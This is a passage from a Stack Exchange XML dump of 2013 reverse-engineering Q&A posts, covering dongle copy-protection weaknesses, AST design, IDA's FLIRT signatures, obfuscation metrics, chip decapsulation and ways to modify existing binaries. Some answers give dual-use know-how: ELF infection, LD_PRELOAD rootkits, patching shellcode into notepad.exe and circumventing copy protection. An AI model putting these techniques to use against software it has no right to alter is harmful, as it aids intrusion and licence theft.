basically becomes a matter of distributing symmetric keys so that they can be sent to the dongle. This is usually done by embedding a secret symmetric key in the dongle, encrypting the license decryption keys with the shared secret key and then signing the encrypted key update files. The signed update files are then passed to the dongle which validates the signature on the update, decrypts the new keys with the shared symmetric key and stores them for later use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Key storage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All dongles must have access to secure storage in order to store license decryption keys, expiration timestamps and so on. In general this is not implemented on external flash memory or EEPROM. If it is it must be encrypted with a key internal to the ASIC or FPGA and signed such that it can not be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plain text hole&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the user has a license to your functional component, even if he can't extract your secret key, he can use your dongle to decrypt that functional component. This leads to the issue that he may extract all your plain text and replace the decryption call with a direct call to the extracted plain text. Some dongles cover this issue by embedding a processor into the dongle. The functional component is then sent encrypted over to the dongle which decrypts the component and executes it internally. This means that the dongle essentially becomes a black box and the functional components sent to the dongle needs to be probed individually to discover their properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Oracles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of dongles are encryption and decryption oracles which leads to potential issues with &lt;a href=&quot;http://en.wikipedia.org/wiki/Chosen-ciphertext_attack&quot;&gt;Chosen-ciphertext attacks&lt;/a&gt;, e.g the recent &lt;a href=&quot;http://en.wikipedia.org/wiki/Padding_oracle_attack&quot;&gt;padding oracle attacks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Side channel attacks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the oracle issues you also have a lot of concerns with all of the so far well known &lt;a href=&quot;http://en.wikipedia.org/wiki/Side_channel_attack&quot;&gt;side channel attacks&lt;/a&gt;. You also need to be concerned with any potential but undiscovered side channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decapsulation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that there are a number of companies in the world who specialize in picking apart and auditing secure chips. Some of the most well known companies are probably Chris Tarnovsky of &lt;a href=&quot;http://www.flylogic.net/&quot;&gt;flylogic&lt;/a&gt;, now part of IOActive and &lt;a href=&quot;http://www.chipworks.com/&quot;&gt;chipworks&lt;/a&gt;. This sort of attack is expensive but may be a real threat depending on the value of your target. It would surprise me if but a few, possibly none of, dongles today are able to withstand this sort of high budget attacker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do they work&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given a dongle which is based on strong encryption, isn't time based since you can not expire encryption keys based on time nor is time an absolute, free of any side channel attacks and executes the code on the chip, yes it will make discovering the underlying code equivalent to probing a black box. Most of the breaks that happen with these dongles are based on implementation weaknesses by the licensees of the hardware licensing system due to the implementer being unfamiliar with reverse engineering and computer security in general.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do realize that even software where a majority of the logic is implemented on an internet facing server has been broken simply by probing the black box and inferring server side code based on client code expectations. Always prepare for your application to be broken and develop a plan for how to deal with it when it happens.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-03-23T11:43:20.460" LastActivityDate="2013-03-23T11:43:20.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="183" PostTypeId="2" ParentId="151" CreationDate="2013-03-23T11:13:38.607" Score="5" Body="&lt;p&gt;This is a fairly general question, and the right decision will depend on what kind of analysis you wish to do. When reverse engineering, I'm of the philosophy that more information is better.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Syntax Analysis&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As mentioned by Igor, the C programming language parses &lt;code&gt;a &amp;amp; 3 == 1&lt;/code&gt; as &lt;code&gt;a &amp;amp; (3 == 1)&lt;/code&gt;, leading to a large number of bugs in code. There is nothing invalid about the code, but it is unlikely to be what the developer intended, and the syntactic pattern can be found and a warning can be given. Several compilers implement this already:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GCC does not store parentheses in its AST, but warns about this during parsing, showing that parentheses needn't be in the AST to detect problems (see the call to &lt;code&gt;warn_about_parentheses&lt;/code&gt; in &lt;a href=&quot;http://www.opensource.apple.com/source/gcc/gcc-5484/gcc/c-typeck.c&quot;&gt;&lt;code&gt;gcc/c-typeck.c&lt;/code&gt;&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Clang, on the other hand, stores the parentheses in the AST as a node called &lt;code&gt;ParenExpr&lt;/code&gt;. This allows for checks for common error conditions to be separated from the parser (see &lt;code&gt;DiagnoseBitwisePrecedence&lt;/code&gt; in &lt;a href=&quot;http://clang.llvm.org/doxygen/SemaExpr_8cpp_source.html#l08552&quot;&gt;&lt;code&gt;SemaExpr.cpp&lt;/code&gt;&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Having read both implementations, the Clang design seems preferable. The design makes it possible to add more modules that analyse the syntax of the code without modifying the parser. Clang also uses whitespace information to warn about things like &lt;code&gt;x =+ 1&lt;/code&gt; (as opposed to &lt;code&gt;x = +1&lt;/code&gt;), and code origin information to prevent warnings when macros are responsible for excessive parentheses. Although that exact functionality is unlikely to be needed in any non-C-derived language, it illustrates that the more information you have in your AST, the more you can do with it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Code Regeneration and Debugging&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As mentioned by jix, discarding information about parentheses can be detrimental to the readability of code generated from your AST. Without storing information about parentheses, a code-regenerator is likely to turn &lt;code&gt;x &amp;amp; (y == z)&lt;/code&gt; into &lt;code&gt;x &amp;amp; y == z&lt;/code&gt;, which is both correct and confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also goes for debugging - the more closely your AST models the source code, the easier it is for you to look at your AST and see how it corresponds to the input code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Semantic Analysis&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As noted in your question, once everything is parsed into a tree, you no longer need information about parentheses to understand the semantics of your code. If this is your sole intent, then your tree will be smaller and simpler without parentheses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompilers reconstruct ASTs from binary code and perform extensive analysis and transformation on them, with no knowledge about parentheses. The language's operator precedence is used to figure out where parentheses need to be put at the end of the decompilation process.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Implementation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you wish to keep parentheses in your AST for any of the reasons mentioned above, I would use Clang's approach and add a simple node for parenthesised expressions. This probably won't add more than ten lines to any code that traverses the tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jix noted above that you could use a flag for grouped expressions. It should be noted that this is inadequate for expressing the valid code &lt;code&gt;((x + 5))&lt;/code&gt;, and is likely to encourage code-duplication by making each node responsible for printing its own parentheses (although I'm sure you can engineer around that).&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-03-23T11:13:38.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="184" PostTypeId="2" ParentId="175" CreationDate="2013-03-23T13:16:03.480" Score="26" Body="&lt;p&gt;FLIRT stands for &lt;strong&gt;Fast Library Identification and Recognition Technology&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter explained the basics, but here's a white paper about how it's implemented:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot;&gt;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To address those issues, we created a database of all the functions&#xA;  from all libraries we wanted to recognize. IDA now checks, at each&#xA;  byte of the program being disassembled, whether this byte can mark the&#xA;  start of a standard library function. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The information required by the recognition algorithm is kept in a&#xA;  signature file. Each function is represented by a pattern. Patterns&#xA;  are first 32 bytes of a function where all variant bytes are marked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's somewhat old (from IDA 3.6) but the basics still apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create your own signatures, you'll need FLAIR tools, which can be downloaded separately.&lt;br&gt;&#xA;(FLAIR means Fast Library Acquisition for Identification and Recognition)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IDA Pro book has &lt;a href=&quot;http://my.safaribooksonline.com/9781593273750/library_recognition_using_flirt_signatur&quot;&gt;a chapter&lt;/a&gt; on FLIRT and using FLAIR tools.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-23T13:16:03.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="185" PostTypeId="1" AcceptedAnswerId="192" CreationDate="2013-03-23T13:55:12.740" Score="48" ViewCount="33406" Body="&lt;p&gt;I want to add some functionality to an existing binary file. The binary file was created using &lt;code&gt;gcc&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do I need to decompile the binary first, even though I sufficiently understand the functioning of the program ? &lt;/li&gt;&#xA;&lt;li&gt;How should I go about adding the necessary code ?&lt;/li&gt;&#xA;&lt;li&gt;Do I need any tools to be able to do this ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-04-05T13:25:39.237" LastActivityDate="2022-07-20T08:43:22.663" Title="How do I add functionality to an existing binary executable?" Tags="|linux|c|executable|hll-mapping|" AnswerCount="8" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="186" PostTypeId="1" CreationDate="2013-03-23T14:05:20.953" Score="16" ViewCount="1095" Body="&lt;p&gt;Is source code obfuscation quantifiable ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any metrics that measure the degree of obfuscation in a source file ?&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="107" LastEditDate="2013-03-23T14:19:00.457" LastActivityDate="2023-01-09T08:40:45.773" Title="Are there any metrics for code obfuscation?" Tags="|obfuscation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="187" PostTypeId="1" AcceptedAnswerId="240" CreationDate="2013-03-23T14:05:44.343" Score="12" ViewCount="422" Body="&lt;p&gt;I've seen numerous examples of people essentially &lt;a href=&quot;http://www.youtube.com/watch?v=mT1FStxAVz4&quot;&gt;dissolving away the resin&lt;/a&gt; from integrated circuits in boiling high strength acid in order to expose the raw silicon chip underneath. My general understanding is that this has, from time to time, allowed for attackers to determine 'secret' information like crypto keys and the like. &#xA;In addition, undocumented functionality can be determined and unlocked by doing this in some cases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can one go about 'reading data' from raw silicon? What kind of other benefits can you obtain from hardware level reverse engineering?&lt;/p&gt;&#xA;" OwnerUserId="275" LastEditorUserId="107" LastEditDate="2013-03-23T14:13:57.207" LastActivityDate="2023-01-05T10:37:33.480" Title="What kind of information can i get from reverse engineering an integrated circuit package" Tags="|hardware|integrated-circuit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="188" PostTypeId="2" ParentId="185" CreationDate="2013-03-23T14:30:42.737" Score="6" Body="&lt;p&gt;You do not need to decompile the binary. If you understand what changes you want to make, and those changes can be made by only modifying the binary file or its dependencies, then you can just make those modifications on disk or in memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a few choices on how to effect the modification itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use LD_PRELOAD to have the linker load a shared object before the binary runs. Then you don't need to modify the binary on disk at all. This is kind of what valgrind does, it loads as a shared object but then begins dynamic binary instrumentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;a href=&quot;http://valgrind.org/info/tools.html&quot; rel=&quot;nofollow&quot;&gt;valgrind&lt;/a&gt;. Valgrind would allow you to dynamically re-write the program and modify its behavior arbitrarily. Valgrind is a dynamic binary instrumentation program that allows its tools to edit the program while it executes. If you just want to change program behavior this might work, but valgrind also incurs a global slowdown and if you wanted to patch and redistribute a program, it probably is not ideal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use tools like &lt;a href=&quot;http://www.eresi-project.org/&quot; rel=&quot;nofollow&quot;&gt;elfsh/eresi&lt;/a&gt; to insert new code into the program. Those tools should take care of the act of injecting your code with relation to stuff like the ELF program header. There is a concept of &quot;ELF infector&quot; that you could google for, where your injected code becomes the new program entry point, does something, then jumps to the old program entry point. &lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="1467" LastEditDate="2013-04-06T17:43:20.263" LastActivityDate="2013-04-06T17:43:20.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="189" PostTypeId="2" ParentId="185" CreationDate="2013-03-23T14:53:18.327" Score="18" Body="&lt;p&gt;Very often, you can change the behavior of a program by carefully hooking into it. Whether you can add the functionality you want this way depends on how the program is constructed. It helps if the program comes in the form of one main executable plus several libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hook into any call that the program makes to shared libraries by linking your own library in first, with &lt;code&gt;LD_PRELOAD&lt;/code&gt;. Write a library that defines a function &lt;code&gt;foo&lt;/code&gt;, and set the environment variable &lt;code&gt;LD_PRELOAD&lt;/code&gt; to the path to your compiled (&lt;code&gt;.so&lt;/code&gt;) library when you start the program: then the program will call your &lt;code&gt;foo&lt;/code&gt; instead of the one it intends. You can call the original &lt;code&gt;foo&lt;/code&gt; function from your replacement by obtaining a pointer to it with &lt;code&gt;dlsym()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few examples and tutorials:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.technovelty.org/c/using-ld_preload-to-override-a-function.html&quot;&gt;Using LD_PRELOAD to override a function&lt;/a&gt; — a minimal source code example&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.linuxjournal.com/article/7795&quot;&gt;Modifying a Dynamic Library Without Changing the Source Code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/&quot;&gt;The magic of LD_PRELOAD for Userland Rootkits&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://nf.nci.org.au/training/talks/lca2009.pdf&quot;&gt;Fun with LD_PRELOAD&lt;/a&gt; (a long and detailed presentation)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some examples of programs that use &lt;code&gt;LD_PRELOAD&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/fakechroot/fakechroot&quot;&gt;fakechroot&lt;/a&gt;, &lt;a href=&quot;http://plasticfs.sourceforge.net/&quot;&gt;PlasticFS&lt;/a&gt; — rewrite the file names used by the program&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://perens.com/FreeSoftware/ElectricFence/&quot;&gt;Electric Fence&lt;/a&gt;, &lt;a href=&quot;http://valgrind.org/&quot;&gt;Valgrind&lt;/a&gt; — detect bad heap usage by overriding &lt;code&gt;malloc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freecode.com/projects/libshape&quot;&gt;Libshape&lt;/a&gt; — limit the network bandwidth&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kde-apps.org/content/show.php?content=36077&quot;&gt;KGtk&lt;/a&gt; — use KDE dialog boxes in a Gtk program&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The limitation of &lt;code&gt;LD_PRELOAD&lt;/code&gt; is that you can only intercept function calls that are resolved at runtime (dynamic linking). If you want to intercept an internal call, you'll have to resort to heavier-weight techniques (modifying the executable on-disk, or in-memory with &lt;code&gt;ptrace&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-03-23T14:53:18.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="190" PostTypeId="2" ParentId="186" CreationDate="2013-03-23T15:32:15.010" Score="11" Body="&lt;p&gt;For source code, one possibility is &lt;a href=&quot;http://en.wikipedia.org/wiki/Cyclomatic_complexity&quot;&gt;McCabe Cyclomatic Complexity&lt;/a&gt;. Some source code analysis tools (&lt;a href=&quot;http://www.mccabe.com/iq.htm&quot;&gt;McCabe IQ&lt;/a&gt;) will use this as a measure of &quot;crappy&quot; code that you should investigate and re-write. Cyclomatic complexity generally indicates excessively convoluted or complicated program logic, and code that will be hard to understand. It might not reflect actual difficulty to reverse engineer though, and also doesn't take into account other types of obfuscations such as constant variable encryption and code encryption, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be very difficult to objectively quantify all types of obfuscations, because you are trying to measure their ability to withstand attack by an adversary. If you can reduce your program protection problems to cryptographically complex problems (as the authors of &lt;a href=&quot;http://www.securelist.com/en/blog/208193781/The_Mystery_of_the_Encrypted_Gauss_Payload&quot;&gt;Gauss&lt;/a&gt; were able to) then I think that is a useful obfuscation metric as it represents work the attacker must perform to un-do your obfuscation. Otherwise, the work level is so variable from obfuscation to obfuscation across one reverse engineer to another that I'm not sure it can be meaningfully measured...&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2013-03-23T15:32:15.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="191" PostTypeId="2" ParentId="185" CreationDate="2013-03-23T15:36:48.073" Score="3" Body="&lt;p&gt;I did this with Notepad.exe on Windows. I wanted to add one top-menu item to open calc.exe just for fun (I know your question is tagged Linux and gcc compiler, but the idea is probably the same).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I used &lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;nofollow&quot;&gt;Resource Hacker&lt;/a&gt; tool to add Calc menu and opened notepad.exe on &lt;a href=&quot;http://debugger.immunityinc.com/&quot; rel=&quot;nofollow&quot;&gt;Immunity Debugger&lt;/a&gt; looking for some space in the code where I could put my &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WinExec&lt;/a&gt; shellcode. Initially I didn't change the executable, I had to look at the program in memory to find some space where I could paste my assembly instructions without crashing notepad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I found enough space (changing original code by eliminating some not required assembly instructions or even optimizing them) I opened notepad.exe on &lt;a href=&quot;http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm&quot; rel=&quot;nofollow&quot;&gt;XVI Hex Editor&lt;/a&gt; and searched for the opcodes that was running on Immunity. I mean, the debugger was running some opcodes right? I just searched for a sequence of opcodes to be sure I was at the right piece of the software that I wanted to change and pacthed it with my shellcode (now this is not assembly code but the &quot;compiled&quot; assembly - machine code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again: I know your question is tagged Linux and gcc compiler, but maybe someone could point out some tools in Linux to achieve the same I did on Windows. The idea is probably the same.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-03-23T15:43:53.150" LastActivityDate="2013-03-23T15:43:53.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="192" PostTypeId="2" ParentId="185" CreationDate="2013-03-23T15:47:41.120" Score="39" Body="&lt;p&gt;There are several broad ways in which you could do this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Dynamic instrumentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools such as &lt;a href=&quot;http://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot;&gt;PIN&lt;/a&gt;, &lt;a href=&quot;http://valgrind.org/&quot;&gt;Valgrind&lt;/a&gt;, or &lt;a href=&quot;http://www.dynamorio.org/&quot;&gt;DynamoRIO&lt;/a&gt; allow you to dynamically change the behavior of a program.  For instance, you can add calls to new functions at particular addresses, intercept library calls and change them, and much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that dynamic instrumentation often has high overhead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Static instrumentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try to statically modify the program to add the desired behavior.  One challenge is that you often need to muck around with the executable file format.  Some tools, such as &lt;code&gt;elfsh&lt;/code&gt; from the &lt;a href=&quot;http://www.eresi-project.org/&quot;&gt;ERESI&lt;/a&gt; project exist for this, but I have found them buggy and difficult to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another strategy for static instrumentation is to &quot;recompile&quot;.  You can do this by decompiling the program, modifying the source code, and recompiling.  In theory, you could also use a tool like &lt;a href=&quot;http://bap.ece.cmu.edu&quot;&gt;BAP&lt;/a&gt; to lift the program to IL, modify it, and then re-compile it using LLVM.  However, the current version is probably not mature enough for this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dynamic loading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;LD_PRELOAD&lt;/code&gt; to override functions that are going to be dynamically linked.  This is a nice option when you want to change the behavior of a library function.  Naturally, it does not work on statically linked binaries, or for static functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Binary patching&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can often make simple changes to a binary using a hex-editor.  For instance, if there is a function call or branch you would like to skip, you can often replace it with &lt;code&gt;nop&lt;/code&gt; instructions.  If you need to add a large amount of new code, you will probably need to use something like &lt;code&gt;elfsh&lt;/code&gt; from the &lt;a href=&quot;http://www.eresi-project.org/&quot;&gt;ERESI&lt;/a&gt; project to help you resize the binary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-03-23T15:47:41.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="193" PostTypeId="5" CreationDate="2013-03-23T15:57:16.043" Score="0" Body="&lt;p&gt;Static analysis is the analysis code without actually executing it. This is in contrast to &lt;a href=&quot;/questions/tagged/dynamic-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'dynamic-analysis'&quot; rel=&quot;tag&quot;&gt;dynamic-analysis&lt;/a&gt; which executes the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static analysis comes in various forms. The most widely used form in the field of reverse code engineering (RCE) would be disassembling or decompiling binary executable code. The executable code can be &lt;a href=&quot;https://en.wikipedia.org/wiki/Byte_code&quot; rel=&quot;nofollow&quot;&gt;byte code&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Machine_code&quot; rel=&quot;nofollow&quot;&gt;native opcodes&lt;/a&gt; for a particular processor on which the code is supposed to run.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Decompilation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The closer the code is to the underlying hardware, the harder it usually gets to decompile it. Decompilation being the process of transforming the binary executable code into human-readable form, be it the original programming language used to create the binary code or another one or pseudo-code. This process has its limitations due to optimizers used in the compilers that create the binary code in the first place.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Disassembling&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This approach transforms the binary code into its exact mnemonic representation, which makes the machine code more or less comprehensible to humans. One of the big issues is to distinguish data from code. Existing disassemblers use a number of heuristics and cues given by the reverse engineer (thus the &quot;interactive&quot; in IDA) or the underlying file format.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Formal static program analysis&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Static_program_analysis&quot; rel=&quot;nofollow&quot;&gt;This approach&lt;/a&gt; is mostly used in forward engineering in order to prove the correctness of a program or check some of its properties without actually running it. It can also overlap in large parts with what is used to reverse engineer and subsequently document legacy code bases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main trait of this approach is that the code isn't run but that the tool used to perform that analysis knows about the semantics of the source code. In RCE the source code is not available most of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the implementation techniques of formal static program analysis include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Model checking&lt;/li&gt;&#xA;&lt;li&gt;Data-flow analysis &lt;/li&gt;&#xA;&lt;li&gt;Abstract interpretation models &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="189" LastEditorUserId="245" LastEditDate="2013-04-16T20:56:38.737" LastActivityDate="2013-04-16T20:56:38.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="194" PostTypeId="4" CreationDate="2013-03-23T15:57:16.043" Score="0" Body="Static analysis is the analysis code without actually executing it. This is in contrast to dynamic analysis which executes the code." OwnerUserId="79" LastEditorUserId="13506" LastEditDate="2020-01-17T17:50:58.597" LastActivityDate="2020-01-17T17:50:58.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="196" PostTypeId="2" ParentId="185" CreationDate="2013-03-23T17:06:38.580" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to add some functionality to an existing binary file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in general these four bigger Questions apply to modifying an Executeable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The first basic Question posed:&lt;/strong&gt; &#xA;Is the Program wary of Code Modifications (Self-Checking, Anti-Debug-Tricks, Copy protection, ...)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&lt;li&gt;Is it even possible to remove/circumevent these protections (e.g. unpacking, if it is packed) easily&lt;/li&gt;&#xA;&lt;li&gt;Is it worth the time to do so?&lt;/li&gt;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The second Question is:&lt;/strong&gt;&lt;br&gt;&#xA;Can you find out, which Compiler/Language was used to produce the executeable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More Details are better, but most basic constructs (&lt;code&gt;if&lt;/code&gt; and other control-structures) should map quite similarly over a variety of compilers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is related to a previous &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11/what-hints-in-machine-code-can-point-me-to-the-compiler-which-was-used-to-genera/&quot; title=&quot;reverseengineering.stackexchange.com -- Detecting the used Compiler via hints in Machine Code &amp;amp; does this Help?&quot;&gt;Question on the RE-Stackexchange&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The third Question is:&lt;/strong&gt;&lt;br&gt;&#xA;How is the user interface implemented (CLI, Win32-Window Controls, Custom, ...)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is known:&lt;br&gt;&#xA;Can you figure out the mapping of common HLL-Constructs (Menues, Dropdown-Menues, Checkboxes, ...) in conjunction with the used Compiler/Language that you want to modify?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The fourth and biggest Question is:&lt;/strong&gt;&lt;br&gt;&#xA;How can you create the desired functionality in the Program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence this can require quite a bit of reverse engineering, to find out how to best hook into the program without upsetting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Central Point: How can you utilize existing internal API's to reach your Goal, without breaking Stuff (like CRTL+Z, Versioning, Recovery features)?&lt;ul&gt;&lt;li&gt;existing Datastructures (and how are they related?)&lt;/li&gt;&#xA;&lt;li&gt;existing Functions (Parameters, Parameter-Format, ...)&#xA;&lt;ul&gt;&lt;li&gt;What does it do?&lt;/li&gt;&lt;li&gt;What else can it do?&lt;/li&gt;&lt;li&gt;What does it REALLY do?&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;existing Processes (= How the program goes about internally, stepwise to implement similar features) &lt;ul&gt;&lt;li&gt;What functions are called, in which order?&lt;/li&gt;&lt;li&gt;Which Data-Structures are utilized?&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Where is the Meat of the feature/program (the data, e.g. the main painting area, and how does it relate internally?)&lt;/li&gt;&#xA;&lt;li&gt;Stuff to look out for (if it concerns the desired feature):&lt;ul&gt;&lt;li&gt;Journaling&lt;/li&gt;&lt;li&gt;Recovery Features&lt;/li&gt;&lt;li&gt;Versioning&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;How is Metadata handled (e.g. Shutter speed, f-Stops, ...), that is related to the desired Feature.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Example projects:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&lt;li&gt;Building a new kind of painting tool into a graphics program (without plugin-API).&lt;/li&gt;&#xA;&lt;li&gt;Extending the plugin-API of a program.&lt;/li&gt;&#xA;&lt;li&gt;Building a plugin-API 